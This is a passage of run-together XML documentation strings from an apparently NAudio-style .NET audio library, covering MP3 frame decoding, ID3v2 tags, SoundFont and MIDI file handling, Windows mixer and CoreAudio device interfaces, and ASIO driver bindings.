are converting into Initializes a new instance of the DMO MP3 Frame decompressor Decompress a single frame of MP3 Alerts us that a reposition has occured so the MP3 decoder needs to reset its state Dispose of this obejct and clean up resources Converted PCM WaveFormat An ID3v2 Tag Reads an ID3v2 tag from a stream Creates a new ID3v2 tag from a collection of key-value pairs. A collection of key-value pairs containing the tags to include in the ID3v2 tag. A new ID3v2 tag Convert the frame size to a byte array. The frame body size. Creates an ID3v2 frame for the given key-value pair. Gets the Id3v2 Header size. The size is encoded so that only 7 bits per byte are actually used. Creates the Id3v2 tag header and returns is as a byte array. The Id3v2 frames that will be included in the file. This is used to calculate the ID3v2 tag size. Creates the Id3v2 tag for the given key-value pairs and returns it in the a stream. Raw data from this tag Represents an MP3 Frame Reads an MP3 frame from a stream input stream A valid MP3 frame, or null if none found Reads an MP3Frame from a stream http://mpgedit.org/mpgedit/mpeg_format/mpeghdr.htm has some good info also see http://www.codeproject.com/KB/audio-video/mpegaudioinfo.aspx A valid MP3 frame, or null if none found Constructs an MP3 frame checks if the four bytes represent a valid header, if they are, will parse the values into Mp3Frame Sample rate of this frame Frame length in bytes Bit Rate Raw frame data (includes header bytes) MPEG Version MPEG Layer Channel Mode The number of samples in this frame The channel extension bits The bitrate index (directly from the header) Whether the Copyright bit is set Whether a CRC is present Not part of the MP3 frame itself - indicates where in the stream we found this header MP3 Frame Decompressor using ACM Creates a new ACM frame decompressor The MP3 source format Decompresses a frame The MP3 frame destination buffer Offset within destination buffer Bytes written into destination buffer Resets the MP3 Frame Decompressor after a reposition operation Disposes of this MP3 frame decompressor Finalizer ensuring that resources get released properly Output format (PCM) MPEG Layer flags Reserved Layer 3 Layer 2 Layer 1 MPEG Version Flags Version 2.5 Reserved Version 2 Version 1 Represents a Xing VBR header Load Xing Header Frame Xing Header Sees if a frame contains a Xing header Number of frames Number of bytes VBR Scale property The MP3 frame Soundfont generator Gets the generator type Generator amount as an unsigned short Generator amount as a signed short Low byte amount High byte amount Instrument Sample Header base class for structures that can read themselves Generator types Start address offset End address offset Start loop address offset End loop address offset Start address coarse offset Modulation LFO to pitch Vibrato LFO to pitch Modulation envelope to pitch Initial filter cutoff frequency Initial filter Q Modulation LFO to filter Cutoff frequency Modulation envelope to filter cutoff frequency End address coarse offset Modulation LFO to volume Unused Chorus effects send Reverb effects send Pan Unused Unused Unused Delay modulation LFO Frequency modulation LFO Delay vibrato LFO Frequency vibrato LFO Delay modulation envelope Attack modulation envelope Hold modulation envelope Decay modulation envelope Sustain modulation envelop Release modulation envelope Key number to modulation envelope hold Key number to modulation envelope decay Delay volume envelope Attack volume envelope Hold volume envelope Decay volume envelope Sustain volume envelope Release volume envelope Key number to volume envelope hold Key number to volume envelope decay Instrument Reserved Key range Velocity range Start loop address coarse offset Key number Velocity Initial attenuation Reserved End loop address coarse offset Coarse tune Fine tune Sample ID Sample modes Reserved Scale tuning Exclusive class Overriding root key Unused Unused A soundfont info chunk SoundFont Version WaveTable sound engine Bank name Data ROM Creation Date Author Target Product Copyright Comments Tools ROM Version SoundFont instrument instrument name Zones Instrument Builder Transform Types Linear Modulator Source Modulation data type Destination generator type Amount Source Modulation Amount Type Source Transform Type Controller Sources No Controller Note On Velocity Note On Key Number Poly Pressure Channel Pressure Pitch Wheel Pitch Wheel Sensitivity Source Types Linear Concave Convex Switch Modulator Type A SoundFont Preset Preset name Patch Number Bank number Zones Class to read the SoundFont file presets chunk The Presets contained in this chunk The instruments contained in this chunk The sample headers contained in this chunk just reads a chunk ID at the current position chunk ID reads a chunk at the current position creates a new riffchunk from current position checking that we're not at the end of this chunk first the new chunk useful for chunks that just contain a string chunk as string A SoundFont Sample Header The sample name Start offset End offset Start loop point End loop point Sample Rate Original pitch Pitch correction Sample Link SoundFont Sample Link Type SoundFont sample modes No loop Loop Continuously Reserved no loop Loop and continue Sample Link Type Mono Sample Right Sample Left Sample Linked Sample ROM Mono Sample ROM Right Sample ROM Left Sample ROM Linked Sample SoundFont Version Structure Major Version Minor Version Builds a SoundFont version Reads a SoundFont Version structure Writes a SoundFont Version structure Gets the length of this structure Represents a SoundFont Loads a SoundFont from a file Filename of the SoundFont Loads a SoundFont from a stream stream The File Info Chunk The Presets The Instruments The Sample Headers The Sample Data A SoundFont zone Modulators for this Zone Generators for this Zone Summary description for Fader. Required designer variable. Creates a new Fader control Clean up any resources being used. Required method for Designer support - do not modify the contents of this method with the code editor. Minimum value of this fader Maximum value of this fader Current value of this fader Fader orientation Pan slider control Required designer variable. Creates a new PanSlider control Clean up any resources being used. Required method for Designer support - do not modify the contents of this method with the code editor. True when pan value changed The current Pan setting Control that represents a potentiometer TODO list: Optional Log scale Optional reverse scale Keyboard control Optional bitmap mode Optional complete draw mode Tooltip support Creates a new pot control Draws the control Handles the mouse down event to allow changing value by dragging Handles the mouse up event to allow changing value by dragging Handles the mouse down event to allow changing value by dragging Required designer variable. Clean up any resources being used. true if managed resources should be disposed; otherwise, false. Required method for Designer support - do not modify the contents of this method with the code editor. Value changed event Minimum Value of the Pot Maximum Value of the Pot The current value of the pot Implements a rudimentary volume meter Basic volume meter On Fore Color Changed Paints the volume meter Required designer variable. Clean up any resources being used. true if managed resources should be disposed; otherwise, false. Required method for Designer support - do not modify the contents of this method with the code editor. Current Value Minimum decibels Maximum decibels Meter orientation VolumeSlider control Required designer variable. Creates a new VolumeSlider control Clean up any resources being used. Required method for Designer support - do not modify the contents of this method with the code editor. Volume changed event The volume for this control Windows Forms control for painting audio waveforms Constructs a new instance of the WaveFormPainter class On Resize On ForeColor Changed Add Max Value On Paint Required designer variable. Clean up any resources being used. true if managed resources should be disposed; otherwise, false. Required method for Designer support - do not modify the contents of this method with the code editor. Control for viewing waveforms Required designer variable. Creates a new WaveViewer control Clean up any resources being used. Required method for Designer support - do not modify the contents of this method with the code editor. sets the associated wavestream The zoom level, in samples per pixel Start position (currently in bytes) Represents a MIDI Channel AfterTouch Event. Represents an individual MIDI event The MIDI command code Creates a MidiEvent from a raw message received using the MME MIDI In APIs The short MIDI message A new MIDI Event Constructs a MidiEvent from a BinaryStream The binary stream of MIDI data The previous MIDI event (pass null for first event) A new MidiEvent Converts this MIDI event to a short message (32 bit integer) that can be sent by the Windows MIDI out short message APIs Cannot be implemented for all MIDI messages A short message Default constructor Creates a MIDI event with specified parameters Absolute time of this event MIDI channel number MIDI command code Whether this is a note off event Whether this is a note on event Determines if this is an end track event Displays a summary of the MIDI event A string containing a brief description of this MIDI event Utility function that can read a variable length integer from a binary stream The binary stream The integer read Writes a variable length integer to a binary stream Binary stream The value to write Exports this MIDI event's data Overriden in derived classes, but they should call this version Absolute time used to calculate delta. Is updated ready for the next delta calculation Stream to write to The MIDI Channel Number for this event (1-16) The Delta time for this event The absolute time for this event The command code for this event Creates a new ChannelAfterTouchEvent from raw MIDI data A binary reader Creates a new Channel After-Touch Event Absolute time Channel After-touch pressure Calls base class export first, then exports the data specific to this event MidiEvent.Export The aftertouch pressure value Represents a MIDI control change event Reads a control change event from a MIDI stream Binary reader on the MIDI stream Creates a control change event Time MIDI Channel Number The MIDI Controller Controller value Describes this control change event A string describing this event Calls base class export first, then exports the data specific to this event MidiEvent.Export The controller number The controller value Represents a MIDI key signature event event Represents a MIDI meta event Empty constructor Custom constructor for use by derived types, who will manage the data themselves Meta event type Meta data length Absolute time Reads a meta-event from a stream A binary reader based on the stream of MIDI data A new MetaEvent object Describes this Meta event String describing the metaevent Gets the type of this meta event Reads a new track sequence number event from a MIDI stream The MIDI stream the data length Creates a new Key signature event with the specified data Describes this event String describing the event Calls base class export first, then exports the data specific to this event MidiEvent.Export Number of sharps or flats Major or Minor key MIDI MetaEvent Type Track sequence number Text event Copyright Sequence track name Track instrument name Lyric Marker Cue point Program (patch) name Device (port) name MIDI Channel (not official?) MIDI Port (not official?) End track Set tempo SMPTE offset Time signature Key signature Sequencer specific MIDI command codes Note Off Note On Key After-touch Control change Patch change Channel after-touch Pitch wheel change Sysex message Eox (comes at end of a sysex message) Timing clock (used when synchronization is required) Start sequence Continue sequence Stop sequence Auto-Sensing Meta-event MidiController enumeration http://www.midi.org/techspecs/midimessages.php#3 Bank Select (MSB) Modulation (MSB) Breath Controller Foot controller (MSB) Main volume Pan Expression Bank Select LSB Sustain Portamento On/Off Sostenuto On/Off Soft Pedal On/Off Legato Footswitch Reset all controllers All notes off A helper class to manage collection of MIDI events It has the ability to organise them in tracks Creates a new Midi Event collection Initial file type Delta Ticks Per Quarter Note Gets events on a specified track Track number The list of events Adds a new track The new track event list Adds a new track Initial events to add to the new track The new track event list Removes a track Track number to remove Clears all events Adds an event to the appropriate track depending on file type The event to be added The original (or desired) track number When adding events in type 0 mode, the originalTrack parameter is ignored. If in type 1 mode, it will use the original track number to store the new events. If the original track was 0 and this is a channel based event, it will create new tracks if necessary and put it on the track corresponding to its channel number Sorts, removes empty tracks and adds end track markers Gets an enumerator for the lists of track events Gets an enumerator for the lists of track events The number of tracks The absolute time that should be considered as time zero Not directly used here, but useful for timeshifting applications The number of ticks per quarter note Gets events on a specific track Track number The list of events The MIDI file type Utility class for comparing MidiEvent objects Compares two MidiEvents Sorts by time, with EndTrack always sorted to the end Class able to read a MIDI file Opens a MIDI file for reading Name of MIDI file Opens a MIDI file for reading Name of MIDI file If true will error on non-paired note events Describes the MIDI file A string describing the MIDI file and its events Exports a MIDI file Filename to export to Events to export MIDI File format The collection of events in this MIDI file Number of tracks in this MIDI file Delta Ticks Per Quarter Note Represents a MIDI in device Opens a specified MIDI in device The device number Closes this MIDI in device Closes this MIDI in device Start the MIDI in device Stop the MIDI in device Reset the MIDI in device Gets the MIDI in device info Closes the MIDI out device True if called from Dispose Cleanup Called when a MIDI message is received An invalid MIDI message Gets the number of MIDI input devices available in the system MIDI In Device Capabilities wMid wPid vDriverVersion Product Name Support - Reserved Gets the manufacturer of this device Gets the product identifier (manufacturer specific) Gets the product name MIM_OPEN MIM_CLOSE MIM_DATA MIM_LONGDATA MIM_ERROR MIM_LONGERROR MIM_MOREDATA MOM_OPEN MOM_CLOSE MOM_DONE Represents a MIDI message Creates a new MIDI message Status Data parameter 1 Data parameter 2 Creates a new MIDI message from a raw message A packed MIDI message from an MMIO function Creates a Note On message Note number Volume MIDI channel A new MidiMessage object Creates a Note Off message Note number Volume MIDI channel (1-16) A new MidiMessage object Creates a patch change message The patch number The MIDI channel number (1-16) A new MidiMessageObject Creates a Control Change message The controller number to change The value to set the controller to The MIDI channel number (1-16) A new MidiMessageObject Returns the raw MIDI message data Represents a MIDI out device Gets the MIDI Out device info Opens a specified MIDI out device The device number Closes this MIDI out device Closes this MIDI out device Resets the MIDI out device Sends a MIDI out message Message Parameter 1 Parameter 2 Sends a MIDI message to the MIDI out device The message to send Closes the MIDI out device True if called from Dispose Send a long message, for example sysex. The bytes to send. Cleanup Gets the number of MIDI devices available in the system Gets or sets the volume for this MIDI out device class representing the capabilities of a MIDI out device MIDIOUTCAPS: http://msdn.microsoft.com/en-us/library/dd798467%28VS.85%29.aspx Queries whether a particular channel is supported Channel number to test True if the channel is supported Gets the manufacturer of this device Gets the product identifier (manufacturer specific) Gets the product name Returns the number of supported voices Gets the polyphony of the device Returns true if the device supports all channels Returns true if the device supports patch caching Returns true if the device supports separate left and right volume Returns true if the device supports MIDI stream out Returns true if the device supports volume control Returns the type of technology used by this MIDI out device MIDICAPS_VOLUME separate left-right volume control MIDICAPS_LRVOLUME MIDICAPS_CACHE MIDICAPS_STREAM driver supports midiStreamOut directly Represents the different types of technology used by a MIDI out device from mmsystem.h The device is a MIDI port The device is a MIDI synth The device is a square wave synth The device is an FM synth The device is a MIDI mapper The device is a WaveTable synth The device is a software synth Represents a note MIDI event Reads a NoteEvent from a stream of MIDI data Binary Reader for the stream Creates a MIDI Note Event with specified parameters Absolute time of this event MIDI channel number MIDI command code MIDI Note Number MIDI Note Velocity Describes the Note Event Note event as a string The MIDI note number The note velocity The note name Represents a MIDI note on event Reads a new Note On event from a stream of MIDI data Binary reader on the MIDI data stream Creates a NoteOn event with specified parameters Absolute time of this event MIDI channel number MIDI note number MIDI note velocity MIDI note duration Calls base class export first, then exports the data specific to this event MidiEvent.Export The associated Note off event Get or set the Note Number, updating the off event at the same time Get or set the channel, updating the off event at the same time The duration of this note There must be a note off event Represents a MIDI patch change event Gets the default MIDI instrument names Reads a new patch change event from a MIDI stream Binary reader for the MIDI stream Creates a new patch change event Time of the event Channel number Patch number Describes this patch change event String describing the patch change event Gets as a short message for sending with the midiOutShortMsg API short message Calls base class export first, then exports the data specific to this event MidiEvent.Export The Patch Number Represents a MIDI pitch wheel change event Reads a pitch wheel change event from a MIDI stream The MIDI stream to read from Creates a new pitch wheel change event Absolute event time Channel Pitch wheel value Describes this pitch wheel change event String describing this pitch wheel change event Gets a short message Integer to sent as short message Calls base class export first, then exports the data specific to this event MidiEvent.Export Pitch Wheel Value 0 is minimum, 0x2000 (8192) is default, 0x4000 (16384) is maximum Represents a Sequencer Specific event Reads a new sequencer specific event from a MIDI stream The MIDI stream The data length Creates a new Sequencer Specific event The sequencer specific data Absolute time of this event Describes this MIDI text event A string describing this event Calls base class export first, then exports the data specific to this event MidiEvent.Export The contents of this sequencer specific Reads a new time signature event from a MIDI stream The MIDI stream The data length Describes this time signature event A string describing this event Calls base class export first, then exports the data specific to this event MidiEvent.Export Hours Minutes Seconds Frames SubFrames Represents a MIDI sysex message Reads a sysex message from a MIDI stream Stream of MIDI data a new sysex message Describes this sysex message A string describing the sysex message Calls base class export first, then exports the data specific to this event MidiEvent.Export Represents a MIDI tempo event Reads a new tempo event from a MIDI stream The MIDI stream the data length Creates a new tempo event with specified settings Microseconds per quarter note Absolute time Describes this tempo event String describing the tempo event Calls base class export first, then exports the data specific to this event MidiEvent.Export Microseconds per quarter note Tempo Represents a MIDI text event Reads a new text event from a MIDI stream The MIDI stream The data length Creates a new TextEvent The text in this type MetaEvent type (must be one that is associated with text data) Absolute time of this event Describes this MIDI text event A string describing this event Calls base class export first, then exports the data specific to this event MidiEvent.Export The contents of this text event Represents a MIDI time signature event Reads a new time signature event from a MIDI stream The MIDI stream The data length Creates a new TimeSignatureEvent Time at which to create this event Numerator Denominator Ticks in Metronome Click No of 32nd Notes in Quarter Click Creates a new time signature event with the specified parameters Describes this time signature event A string describing this event Calls base class export first, then exports the data specific to this event MidiEvent.Export Numerator (number of beats in a bar) Denominator (Beat unit), 1 means 2, 2 means 4 (crochet), 3 means 8 (quaver), 4 means 16 and 5 means 32 Ticks in a metronome click Number of 32nd notes in a quarter note The time signature Represents a MIDI track sequence number event event Reads a new track sequence number event from a MIDI stream The MIDI stream the data length Describes this event String describing the event Calls base class export first, then exports the data specific to this event MidiEvent.Export Boolean mixer control Represents a mixer control Mixer Handle Number of Channels Mixer Handle Type Gets all the mixer controls Mixer Handle Mixer Line Mixer Handle Type Gets a specified Mixer Control Mixer Handle Line ID Control ID Number of Channels Flags to use (indicates the meaning of mixerHandle) Gets the control details Gets the control details Returns true if this is a boolean control Control type Determines whether a specified mixer control type is a list text control String representation for debug purposes Mixer control name Mixer control type Is this a boolean control True if this is a list text control True if this is a signed control True if this is an unsigned control True if this is a custom control Gets the details for this control memory pointer The current value of the control Custom Mixer control Get the data for this custom control pointer to memory to receive data List text mixer control Get the details for this control Memory location to read to Represents a Windows mixer device Connects to the specified mixer The index of the mixer to use. This should be between zero and NumberOfDevices - 1 Retrieve the specified MixerDestination object The ID of the destination to use. Should be between 0 and DestinationCount - 1 The number of mixer devices available The number of destinations this mixer supports The name of this mixer device The manufacturer code for this mixer device The product identifier code for this mixer device A way to enumerate the destinations A way to enumerate all available devices Mixer control types Custom Boolean meter Signed meter Peak meter Unsigned meter Boolean On Off Mute Mono Loudness Stereo Enhance Button Decibels Signed Unsigned Percent Slider Pan Q-sound pan Fader Volume Bass Treble Equaliser Single Select Mux Multiple select Mixer Micro time Milli time Represents a mixer line (source or destination) Creates a new mixer destination Mixer Handle Destination Index Mixer Handle Type Creates a new Mixer Source For a Specified Source Mixer Handle Destination Index Source Index Flag indicating the meaning of mixerHandle Creates a new Mixer Source Wave In Device Gets the specified source Describes this Mixer Line (for diagnostic purposes) Mixer Line Name Mixer Line short name The line ID Component Type Mixer destination type description Number of channels Number of sources Number of controls Is this destination active Is this destination disconnected Is this destination a source Enumerator for the controls on this Mixer Limne Enumerator for the sources on this Mixer Line The name of the target output device Mixer Interop Flags MIXER_OBJECTF_HANDLE = 0x80000000; MIXER_OBJECTF_MIXER = 0x00000000; MIXER_OBJECTF_HMIXER MIXER_OBJECTF_WAVEOUT MIXER_OBJECTF_HWAVEOUT MIXER_OBJECTF_WAVEIN MIXER_OBJECTF_HWAVEIN MIXER_OBJECTF_MIDIOUT MIXER_OBJECTF_HMIDIOUT MIXER_OBJECTF_MIDIIN MIXER_OBJECTF_HMIDIIN MIXER_OBJECTF_AUX MIXER_GETCONTROLDETAILSF_VALUE = 0x00000000; MIXER_SETCONTROLDETAILSF_VALUE = 0x00000000; MIXER_GETCONTROLDETAILSF_LISTTEXT = 0x00000001; MIXER_SETCONTROLDETAILSF_LISTTEXT = 0x00000001; MIXER_GETCONTROLDETAILSF_QUERYMASK = 0x0000000F; MIXER_SETCONTROLDETAILSF_QUERYMASK = 0x0000000F; MIXER_GETLINECONTROLSF_QUERYMASK = 0x0000000F; MIXER_GETLINECONTROLSF_ALL = 0x00000000; MIXER_GETLINECONTROLSF_ONEBYID = 0x00000001; MIXER_GETLINECONTROLSF_ONEBYTYPE = 0x00000002; MIXER_GETLINEINFOF_DESTINATION = 0x00000000; MIXER_GETLINEINFOF_SOURCE = 0x00000001; MIXER_GETLINEINFOF_LINEID = 0x00000002; MIXER_GETLINEINFOF_COMPONENTTYPE = 0x00000003; MIXER_GETLINEINFOF_TARGETTYPE = 0x00000004; MIXER_GETLINEINFOF_QUERYMASK = 0x0000000F; Mixer Line Flags Audio line is active. An active line indicates that a signal is probably passing through the line. Audio line is disconnected. A disconnected line's associated controls can still be modified, but the changes have no effect until the line is connected. Audio line is an audio source line associated with a single audio destination line. If this flag is not set, this line is an audio destination line associated with zero or more audio source lines. BOUNDS structure dwMinimum / lMinimum / reserved 0 dwMaximum / lMaximum / reserved 1 reserved 2 reserved 3 reserved 4 reserved 5 METRICS structure cSteps / reserved[0] cbCustomData / reserved[1], number of bytes for control details reserved 2 reserved 3 reserved 4 reserved 5 MIXERCONTROL struct http://msdn.microsoft.com/en-us/library/dd757293%28VS.85%29.aspx Mixer Line Component type enumeration Audio line is a destination that cannot be defined by one of the standard component types. A mixer device is required to use this component type for line component types that have not been defined by Microsoft Corporation. MIXERLINE_COMPONENTTYPE_DST_UNDEFINED Audio line is a digital destination (for example, digital input to a DAT or CD audio device). MIXERLINE_COMPONENTTYPE_DST_DIGITAL Audio line is a line level destination (for example, line level input from a CD audio device) that will be the final recording source for the analog-to-digital converter (ADC). Because most audio cards for personal computers provide some sort of gain for the recording audio source line, the mixer device will use the MIXERLINE_COMPONENTTYPE_DST_WAVEIN type. MIXERLINE_COMPONENTTYPE_DST_LINE Audio line is a destination used for a monitor. MIXERLINE_COMPONENTTYPE_DST_MONITOR Audio line is an adjustable (gain and/or attenuation) destination intended to drive speakers. This is the typical component type for the audio output of audio cards for personal computers. MIXERLINE_COMPONENTTYPE_DST_SPEAKERS Audio line is an adjustable (gain and/or attenuation) destination intended to drive headphones. Most audio cards use the same audio destination line for speakers and headphones, in which case the mixer device simply uses the MIXERLINE_COMPONENTTYPE_DST_SPEAKERS type. MIXERLINE_COMPONENTTYPE_DST_HEADPHONES Audio line is a destination that will be routed to a telephone line. MIXERLINE_COMPONENTTYPE_DST_TELEPHONE Audio line is a destination that will be the final recording source for the waveform-audio input (ADC). This line typically provides some sort of gain or attenuation. This is the typical component type for the recording line of most audio cards for personal computers. MIXERLINE_COMPONENTTYPE_DST_WAVEIN Audio line is a destination that will be the final recording source for voice input. This component type is exactly like MIXERLINE_COMPONENTTYPE_DST_WAVEIN but is intended specifically for settings used during voice recording/recognition. Support for this line is optional for a mixer device. Many mixer devices provide only MIXERLINE_COMPONENTTYPE_DST_WAVEIN. MIXERLINE_COMPONENTTYPE_DST_VOICEIN Audio line is a source that cannot be defined by one of the standard component types. A mixer device is required to use this component type for line component types that have not been defined by Microsoft Corporation. MIXERLINE_COMPONENTTYPE_SRC_UNDEFINED Audio line is a digital source (for example, digital output from a DAT or audio CD). MIXERLINE_COMPONENTTYPE_SRC_DIGITAL Audio line is a line-level source (for example, line-level input from an external stereo) that can be used as an optional recording source. Because most audio cards for personal computers provide some sort of gain for the recording source line, the mixer device will use the MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY type. MIXERLINE_COMPONENTTYPE_SRC_LINE Audio line is a microphone recording source. Most audio cards for personal computers provide at least two types of recording sources: an auxiliary audio line and microphone input. A microphone audio line typically provides some sort of gain. Audio cards that use a single input for use with a microphone or auxiliary audio line should use the MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE component type. MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE Audio line is a source originating from the output of an internal synthesizer. Most audio cards for personal computers provide some sort of MIDI synthesizer (for example, an Adlib®-compatible or OPL/3 FM synthesizer). MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER Audio line is a source originating from the output of an internal audio CD. This component type is provided for audio cards that provide an audio source line intended to be connected to an audio CD (or CD-ROM playing an audio CD). MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC Audio line is a source originating from an incoming telephone line. MIXERLINE_COMPONENTTYPE_SRC_TELEPHONE Audio line is a source originating from personal computer speaker. Several audio cards for personal computers provide the ability to mix what would typically be played on the internal speaker with the output of an audio card. Some audio cards support the ability to use this output as a recording source. MIXERLINE_COMPONENTTYPE_SRC_PCSPEAKER Audio line is a source originating from the waveform-audio output digital-to-analog converter (DAC). Most audio cards for personal computers provide this component type as a source to the MIXERLINE_COMPONENTTYPE_DST_SPEAKERS destination. Some cards also allow this source to be routed to the MIXERLINE_COMPONENTTYPE_DST_WAVEIN destination. MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT Audio line is a source originating from the auxiliary audio line. This line type is intended as a source with gain or attenuation that can be routed to the MIXERLINE_COMPONENTTYPE_DST_SPEAKERS destination and/or recorded from the MIXERLINE_COMPONENTTYPE_DST_WAVEIN destination. MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY Audio line is an analog source (for example, analog output from a video-cassette tape). MIXERLINE_COMPONENTTYPE_SRC_ANALOG Represents a signed mixer control Gets details for this contrl String Representation for debugging purposes The value of the control Minimum value for this control Maximum value for this control Value of the control represented as a percentage Represents an unsigned mixer control Gets the details for this control String Representation for debugging purposes The control value The control's minimum value The control's maximum value Value of the control represented as a percentage Helper methods for working with audio buffers Ensures the buffer is big enough Ensures the buffer is big enough An encoding for use with file types that have one byte per character The one and only instance of this class A very basic circular buffer implementation Create a new circular buffer Max buffer size in bytes Write data to the buffer Data to write Offset into data Number of bytes to write number of bytes written Read from the buffer Buffer to read into Offset into read buffer Bytes to read Number of bytes actually read Resets the buffer Advances the buffer, discarding bytes Bytes to advance Maximum length of this circular buffer Number of bytes currently stored in the circular buffer A util class for conversions linear to dB conversion linear value decibel value dB to linear conversion decibel value linear value HResult S_OK S_FALSE E_INVALIDARG (from winerror.h) MAKE_HRESULT macro Helper to deal with the fact that in Win Store apps, the HResult property name has changed COM Exception The HResult Pass-through stream that ignores Dispose Useful for dealing with MemoryStreams that you want to re-use Creates a new IgnoreDisposeStream The source stream Flushes the underlying stream Reads from the underlying stream Seeks on the underlying stream Sets the length of the underlying stream Writes to the underlying stream Dispose - by default (IgnoreDispose = true) will do nothing, leaving the underlying stream undisposed The source stream all other methods fall through to If true the Dispose will be ignored, if false, will pass through to the SourceStream Set to true by default Can Read Can Seek Can write to the underlying stream Gets the length of the underlying stream Gets or sets the position of the underlying stream In-place and stable implementation of MergeSort MergeSort a list of comparable items MergeSort a list A thread-safe Progress Log Control Creates a new progress log control Log a message Clear the log Required designer variable. Clean up any resources being used. true if managed resources should be disposed; otherwise, false. Required method for Designer support - do not modify the contents of this method with the code editor. The contents of the log as text Audio Endpoint Volume Volume Step Up Volume Step Down Creates a new Audio endpoint volume IAudioEndpointVolume COM interface Dispose Finalizer On Volume Notification Volume Range Hardware Support Step Information Channels Master Volume Level Master Volume Level Scalar Mute Audio Meter Information Peak Values Hardware Support Master Peak Value Device State DEVICE_STATE_ACTIVE DEVICE_STATE_DISABLED DEVICE_STATE_NOTPRESENT DEVICE_STATE_UNPLUGGED DEVICE_STATEMASK_ALL Endpoint Hardware Support Volume Mute Meter is defined in WTypes.h The EDataFlow enumeration defines constants that indicate the direction in which audio data flows between an audio endpoint device and an application Audio rendering stream. Audio data flows from the application to the audio endpoint device, which renders the stream. Audio capture stream. Audio data flows from the audio endpoint device that captures the stream, to the application Audio rendering or capture stream. Audio data can flow either from the application to the audio endpoint device, or from the audio endpoint device to the application. Windows CoreAudio IAudioClient interface Defined in AudioClient.h The GetBufferSize method retrieves the size (maximum capacity) of the endpoint buffer. The GetService method accesses additional services from the audio client object. The interface ID for the requested service. Pointer to a pointer variable into which the method writes the address of an instance of the requested interface. defined in MMDeviceAPI.h IMMNotificationClient Device State Changed Device Added Device Removed Default Device Changed Property Value Changed is defined in propsys.h implements IMMDeviceEnumerator MMDevice STGM enumeration PROPERTYKEY is defined in wtypes.h Format ID Property ID from Propidl.h. http://msdn.microsoft.com/en-us/library/aa380072(VS.85).aspx contains a union so we have to do an explicit layout Creates a new PropVariant containing a long value Helper method to gets blob data Interprets a blob as an array of structs allows freeing up memory, might turn this into a Dispose method? Gets the type of data in this PropVariant Property value The ERole enumeration defines constants that indicate the role that the system has assigned to an audio endpoint device Games, system notification sounds, and voice commands. Music, movies, narration, and live music recording Voice communications (talking to another person). MM Device To string Audio Client Audio Meter Information Audio Endpoint Volume AudioSessionManager instance Properties Friendly name for the endpoint Friendly name of device Icon path of device Device ID Data Flow Device State MM Device Enumerator Creates a new MM Device Enumerator Enumerate Audio Endpoints Desired DataFlow State Mask Device Collection Get Default Endpoint Data Flow Role Device Check to see if a default audio end point exists without needing an exception. Data Flow Role True if one exists, and false if one does not exist. Get device by ID Device ID Device Registers a call back for Device Events Object implementing IMMNotificationClient type casted as IMMNotificationClient interface Unregisters a call back for Device Events Object implementing IMMNotificationClient type casted as IMMNotificationClient interface Property Store class, only supports reading properties at the moment. Contains property guid Looks for a specific key True if found Gets property key at sepecified index Index Property key Gets property value at specified index Index Property value Creates a new property store IPropertyStore COM interface Property Count Gets property by index Property index The property Indexer by guid Property Key Property or null if not found Property Store Property Property Key Property Value Main ASIODriver Class. To use this class, you need to query first the GetASIODriverNames() and then use the GetASIODriverByName to instantiate the correct ASIODriver. This is the first ASIODriver binding fully implemented in C#! Contributor: Alexandre Mutel - email: alexandre_mutel at yahoo.fr Gets the ASIO driver names installed. a list of driver names. Use this name to GetASIODriverByName Instantiate a ASIODriver given its name. The name of the driver an ASIODriver instance Instantiate the ASIO driver by GUID. The GUID. an ASIODriver instance Inits the ASIODriver.. The sys handle. Gets the name of the driver. Gets the driver version. Gets the error message. Starts this instance. Stops this instance. Gets the channels. The num input channels. The num output channels. Gets the latencies (n.b. does not throw an exception) The input latency. The output latency. Gets the size of the buffer. Size of the min. Size of the max. Size of the preferred. The granularity. Determines whether this instance can use the specified sample rate. The sample rate. true if this instance [can sample rate] the specified sample rate; otherwise, false. Gets the sample rate. Sets the sample rate. The sample rate. Gets the clock sources. The clocks. The num sources. Sets the clock source. The reference. Gets the sample position. The sample pos. The time stamp. Gets the channel info. The channel number. if set to true [true for input info]. Creates the buffers. The buffer infos. The num channels. Size of the buffer. The callbacks. Disposes the buffers. Controls the panel. Futures the specified selector. The selector. The opt. Notifies OutputReady to the ASIODriver. Releases this instance. Handles the exception. Throws an exception based on the error. The error to check. Method name Inits the vTable method from GUID. This is a tricky part of this class. The ASIO GUID. Internal VTable structure to store all the delegates to the C++ COM method. Callback used by the ASIODriverExt to get wave data ASIODriverExt is a simplified version of the ASIODriver. It provides an easier way to access the capabilities of the Driver and implement the callbacks necessary for feeding the driver. Implementation inspired from Rob Philpot's with a managed C++ ASIO wrapper BlueWave.Interop.Asio http://www.codeproject.com/KB/mcpp/Asio.Net.aspx Contributor: Alexandre Mutel - email: alexandre_mutel at yahoo.fr Initializes a new instance of the class based on an already instantiated ASIODriver instance. A ASIODriver already instantiated. Allows adjustment of which is the first output channel we write to Output Channel offset Input Channel offset Starts playing the buffers. Stops playing the buffers. Shows the control panel. Releases this instance. Determines whether the specified sample rate is supported. The sample rate. true if [is sample rate supported]; otherwise, false. Sets the sample rate. The sample rate. Creates the buffers for playing. The number of outputs channels. The number of input channel. if set to true [use max buffer size] else use Prefered size Builds the capabilities internally. Callback called by the ASIODriver on fill buffer demand. Redirect call to external callback. Index of the double buffer. if set to true [direct process]. Callback called by the ASIODriver on event "Samples rate changed". The sample rate. Asio message call back. The selector. The value. The message. The opt. Buffers switch time info call back. The asio time param. Index of the double buffer. if set to true [direct process]. Gets the driver used. The ASIOdriver. Gets or sets the fill buffer callback. The fill buffer callback. Gets the capabilities of the ASIODriver. The capabilities. This class stores convertors for different interleaved WaveFormat to ASIOSampleType separate channel format. Selects the sample convertor based on the input WaveFormat and the output ASIOSampleTtype. The wave format. The type. Optimized convertor for 2 channels SHORT Generic convertor for SHORT Optimized convertor for 2 channels FLOAT Generic convertor SHORT Optimized convertor for 2 channels SHORT Generic convertor for SHORT Optimized convertor for 2 channels FLOAT Generic convertor SHORT Generic converter 24 LSB Generic convertor for float ASIO common Exception. Gets the name of the error. The error. the name of the error Represents an installed ACM Driver Helper function to determine whether a particular codec is installed The short name of the function Whether the codec is installed Attempts to add a new ACM driver from a file Full path of the 